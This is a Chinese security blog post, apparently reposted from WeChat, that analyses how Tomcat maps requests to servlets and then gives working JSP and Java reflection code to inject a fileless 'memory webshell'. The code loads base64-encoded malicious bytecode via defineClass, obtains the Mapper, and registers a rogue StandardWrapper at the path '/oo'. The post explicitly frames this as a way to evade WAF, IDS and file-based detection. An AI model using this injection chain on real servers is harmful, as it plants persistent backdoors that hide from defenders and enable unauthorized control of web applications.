Tomcat容器攻防笔记之Servlet内存马

admin 2022年12月10日20:40:37评论39 views字数 7889阅读26分17秒阅读模式

欢迎光临鲸落的杂货铺Tomcat容器攻防笔记之Servlet内存马

Tomcat容器攻防笔记之Servlet内存马


背景:
基于现阶段红蓝对抗强度的提升,诸如WAF动态防御、态势感知、IDS恶意流量分析监测、文件多维特征监测、日志监测等手段,能够及时有效地检测、告警甚至阻断针对传统通过文件上传落地的Webshell或需以文件形式持续驻留目标服务器的恶意后门。
结合当下形势,对Tomcat容器如何利用Sevlet实现无文件落地的内存Webshell进行研究学习。

 



声明 :

  由于传播或利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,此文仅作交流学习用途。

 



 

一、何为Servlet

· Servlet 是一种运行服务器端的java应用程序,具有独立于平台和协议的特性,并且可以动态的生成web页面,它工作在客户端请求与服务器响应的中间层。Servlet 的主要功能在于交互式地浏览和修改数据,生成动态 Web 内容。

Servlet的加载(执行过程,原理)和生命周期

https://www.cnblogs.com/longmo666/p/13548888.html

 

二、Servlet的实例存储在哪里?

 

Container - 容器组件:

https://www.freebuf.com/articles/system/151433.html

 

援引自链接文章所述,

Tomcat 中有 4 类容器组件,从上至下依次是:

Engine,实现类为 org.apache.catalina.core.StandardEngine

Host,实现类为 org.apache.catalina.core.StandardHost

Context,实现类为 org.apache.catalina.core.StandardContext

Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

 

“从上至下” 的意思是,它们之间是存在父子关系的。

Engine:最顶层容器组件,其下可以包含多个 Host。

Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。

Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。

Wrapper:一个 Wrapper 代表一个 Servlet。

 

回顾Tomcat容器攻防笔记之Filter内存马开篇所述,在配置文件中,Service、Host、Context、Wrapper四者的关系相互承接,联系紧密。要想拨开藏匿Servlet的迷雾,自然而然要着手于此四者的实现类。来一起看调试细节。


首先找到的是org.apache.catalina.core.StandardService类。作为Tomcat Service接口的具体实现类,负责管理多个连接器(Connector)与容器(Container),其实例中存储了近乎所有的运行信息。

通过配置文件,我们可以得知从Server、Service、Host,最后到Context的层级关系,而这些映射信息均存储在StandardService类成员属性mapper当中。


Tomcat容器攻防笔记之Servlet内存马


既然mapper属性存储了映射关系,是否与servlet一一对应的Wrapper,也在其中?通过调试中查看Mapper实例,印证了这个想法。


Tomcat容器攻防笔记之Servlet内存马


Tomcat容器攻防笔记之Servlet内存马


上图中可以看到,在mapper实例中,含有与配置文件相对应的Host对象、不同Host对应的Context对象,以及不同Context对应的多个Wrapper,而我们要找的Servlet,就在这些Wrapper当中。

具体的查找链条为:

Mapper - hosts(Mapper$MappedHost[]) - contextList(Mapper$ContextList) - contexts(Mapper$MappedContext[]) - versions(Mapper$ContextVersion) - exactWrapper(Mapper$MappedWrapper) - object(StandWrapper) - this.instance

 

 

三、Servlet的调用过程?

根据先前了解得知,Tomcat首先完成Connector组件的解析,并交由Adaptor最后转化适配为可供Container使用的Request及Response对象。

由于Container负责的是响应客户端的请求,自然而然,Connector负责处理和解析客户端的请求,例如请求的头部信息和Body信息等,具体这一实现,我们可以在CoyoteAdaptor类的Service()方法中查看。


Tomcat容器攻防笔记之Servlet内存马



方法开始,先获取适配于Container的Request和Response对象,而后调用CoyoteAdaptor#postParseRequest()对请求进行解析。



postParseRequest()方法,会解析请所用的协议、方法、路由、参数等等信息。其中跟servlet有关的重点在于this.connector.getService().getMapper().map(serverName, decodedURI, version, request.getMappingData())

       this.connector.getService()方法得到是当前的StandService实例,并调用getMapper()获得成员变量Mapper,上文提到,配置文件中的映射关系,保存在该实例的Mapper成员变量中,因此此处最终调用Mapper.map()方法,就是为了根据请求解析信息,在Mapper中寻找并设置用于处理该请求的wrapper实例。


Tomcat容器攻防笔记之Servlet内存马


Mapper#Map()方法对请求的URI进行解析,或许有人会好奇,Map()方法:

Mapper.ContextVersion contextVersion = (Mapper.ContextVersion)this.contextObjectToContextVersionMap.get(context);

是做何用?其实此处获取的就是对应webapps目录下的Web应用StandardContext实例。下图是Tomcat webapps自带的manager。


Tomcat容器攻防笔记之Servlet内存马


随后调用this.internalMapWrapper()进一步进行解析,获取了当前的exactWrappers。这里可能有人会好奇了,为什么关注点要在exactWrappers,明明还有defaultWrapper、wildcardWrappers和extensionWrappers,其实这几类Wrapper都对应着不同的路径匹配模式。

defaultWrapper 存储匹配路径为 “/” 类型的Wrapper实例

exactWrappers  存储匹配路径为 “/abc” 类型的Wrapper实例

wildcardWrappers 存储匹配路径为 “/*”类型的Wrapper实例

extensionWrappers 存储匹配路径为 “*” 类型的Wrapper实例

 

这里我调试时,使用的是如下配置,因此关注点在exactWrappers:

<servlet-mapping>    <servlet-name>op</servlet-name>    <url-pattern>/op</url-pattern></servlet-mapping>


Tomcat容器攻防笔记之Servlet内存马


当查看internalMapExactWrapper方法时,一目了然,exactFind(wrappers, (CharChunk)path)根据URI也就是path,在exactWrappers中寻找适配的wrapper,然后将相关的信息保存在mappingData中。

还记得,之前提到,Adaptor为适配Container,生成的两个org.apache.catalina.connector.Request和Response对象,mappingData就是Request对象中,存储请求映射信息的成员变量,供后续Container进行映射调用。

 

好了,经过以上分析,就可以知道,在CoyoteAdaptor#postParseRequest方法中,有关Wrapper(Servlet)的对象实例已经保存在Request对象当中,后续,理所当然就是看Container,怎么调用servlet进行处理,继续。

 

回到CoyoteAdaptor类的Service()方法,经过this.postParseRequest()解析请求信息后,就交由Container进行处理:

this.connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);

由于Tomcat使用的Pipeline进行传递调用,关键的一环是传递至StandardContextValve类


Tomcat容器攻防笔记之Servlet内存马


通过request.getWrapper()方法,在mappingData中取出设置好的Wrapper实例,并调用wrapper.getPipeline().getFirst().invoke(request, response);使用该Wrapper实例进行处理。跟随invoke()看看做了什么操作。


Tomcat容器攻防笔记之Servlet内存马


进入到Invoke方法,其实这里是调用的实例是StandWrapperValue,不知道还有没有朋友记得,上一篇《Tomcat容器攻防笔记之Filter内存马》中提到,过滤链filterChain也是在该Invoke方法中创建并调用。所以Tomcat根据请求,是先设置好servlet,随后再调用Filter过滤器进行响应。

对于我们的关注点来说,关键的方法是上图,servlet = Wrapper.allocate()。allocate译文是划分给、分配的意思,顾名思义,在wrapper中找到servlet并划分出来。继续看allocate方法细节。


Tomcat容器攻防笔记之Servlet内存马


        此处的this指的是StandWrapper的实例自身,allocate方法中,校验自身instance成员变量是否为null,为null则调用this.loadServlet()方法,加载servlet实例。



Tomcat容器攻防笔记之Servlet内存马


  在loadServlet方法中,关键点就是instanceManager.newInstance(this.servletClass),根据当前StandardWrapper实例的servletClass成员属性的值,也就是servlet的类名进行实例化,并赋值于servlet,随后返回至最初servlet = wrapper.allocate()。之后的事情,就是生成过滤链filterChain,当filterChain调用完毕后,交由servlet进行响应处理。


四、如何注入Servlet内存马?

经过以上分析可以知道,Tomcat在整个流程中,先从Mapper.exactWrappers中找到相应的exacWrapper,保存到Request.mappingData中,在调用servlet时,校验Wrapper的成员属性instance是否为空,若为空,则根据wrapper的servletClass成员属性进行实例化后赋值于instance。

以上要注意的是:

1. Wrapper不等同于servlet,Wrapper还包含servlet的诸多信息,servlet只是wrapper其中的一部分。

2. wrapper.instance保存wrapper的servlet实例

3. wrapper.servletClass保存wrapper的servlet的类

 

那么现在,我们只需要往Tomcat容器的JVM环境中注入恶意Wrapper类,并在Mapper.exactWrappers中添加我们的Wrapper对象,随后让该wrapper对象的instance赋值为恶意servlet的实例,即可完成Servlet内存马的注入。

 

导入包:

<%@ page import="org.apache.catalina.webresources.StandardRoot" %><%@ page import="java.lang.reflect.*" %><%@ page import="org.apache.catalina.mapper.Mapper" %><%@ page import="org.apache.catalina.loader.WebappClassLoaderBase" %><%@ page import="java.util.concurrent.ConcurrentHashMap " %><%@ page import="org.apache.catalina.core.*" %>

 

JVM环境中注入恶意类:

String evil_base64="恶意类的字节码Base64编码";java.lang.ClassLoader classLoader = (java.lang.ClassLoader) Thread.currentThread().getContextClassLoader();java.lang.reflect.Method defineClass = java.lang.ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);defineClass.setAccessible(true);byte[] evil_bytes = java.util.Base64.getDecoder().decode(evil_base64);defineClass.invoke(classLoader, evil_bytes, 0, evil_bytes.length);

 

获取Mapper实例:

Mapper实例存储在StandService实例中,方法不一八仙过海各显神通。

 

StandardContext context = (StandardContext)((StandardRoot)((WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources()).getContext();Field appcontextF = context.getClass().getDeclaredField("context");appcontextF.setAccessible(true);ApplicationContext appcontext = (ApplicationContext) appcontextF.get(context);Field serviceF = appcontext.getClass().getDeclaredField("service");serviceF.setAccessible(true);StandardService service = (StandardService) serviceF.get(appcontext);Mapper mapper = service.getMapper();


生成恶意的Wrapper对象:

StandContext类中,提供了Public的createWrapper()方法,由此可以直接调用生成Wrapper,无需考虑其中的赋值问题。

StandardWrapper wrappershell = (StandardWrapper) context.createWrapper();

随后,设置其instance值:

Field instanceF = wrappershell.getClass().getDeclaredField(“instance”);instanceF.setAccessible(true);instanceF.set(wrappershell, (Servlet) Class.forName("test").newInstance());//  为啥是Class.forName(“test”)? 只是此处注入JVM的类名为test

当然也可以设置servletClass,因为当instance为空,会通过loadServlet方法加载,StandardWrapper类有setServletClass方法,无需反射了。

wrappershell.setServletClass(Class.forName("test").getName());

Mapper.exactWrappers中添加我们的Wrapper对象:

Mapper类提供的addWrappers方法,会根据path也就是匹配的路径,来添加至四种Wrappers中,这里我们用“/oo”,就可以添加到exactWrappers中,参数context其实是当前StandContext实例。

Tomcat容器攻防笔记之Servlet内存马


Class[] classes = mapper.getClass().getDeclaredClasses();Class contextversion = classes[1];Method addWrapper = mapper.getClass().getDeclaredMethod("addWrapper", contextversion, String.class, Wrapper.class, boolean.class, boolean.class);
Field contextObjectToContextVersionMapF = mapper.getClass().getDeclaredField("contextObjectToContextVersionMap");contextObjectToContextVersionMapF.setAccessible(true);ConcurrentHashMap contextObjectToContextVersionMap = (ConcurrentHashMap ) contextObjectToContextVersionMapF.get(mapper);Object contextVersion = contextObjectToContextVersionMap.get(context); addWrapper.setAccessible(true);addWrapper.invoke(mapper, contextVersion, "/oo", wrappershell, false, false);

这里有个坑,通过creatWrapper方法得到的wrapper实例的Parent是没有被设置的,因此我们要手动给它赋值,不然就是一直500:

Field parent = ContainerBase.class.getDeclaredField("parent");parent.setAccessible(true);parent.set(wrappershell, context);// context为StandardContext实例


Tomcat容器攻防笔记之Servlet内存马


随后,恶意Servlet便已成功注入,看看效果。


Tomcat容器攻防笔记之Servlet内存马









原文始发于微信公众号(鲸落的杂货铺):Tomcat容器攻防笔记之Servlet内存马

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月10日20:40:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Tomcat容器攻防笔记之Servlet内存马http://cn-sec.com/archives/941143.html

发表评论

匿名网友 填写信息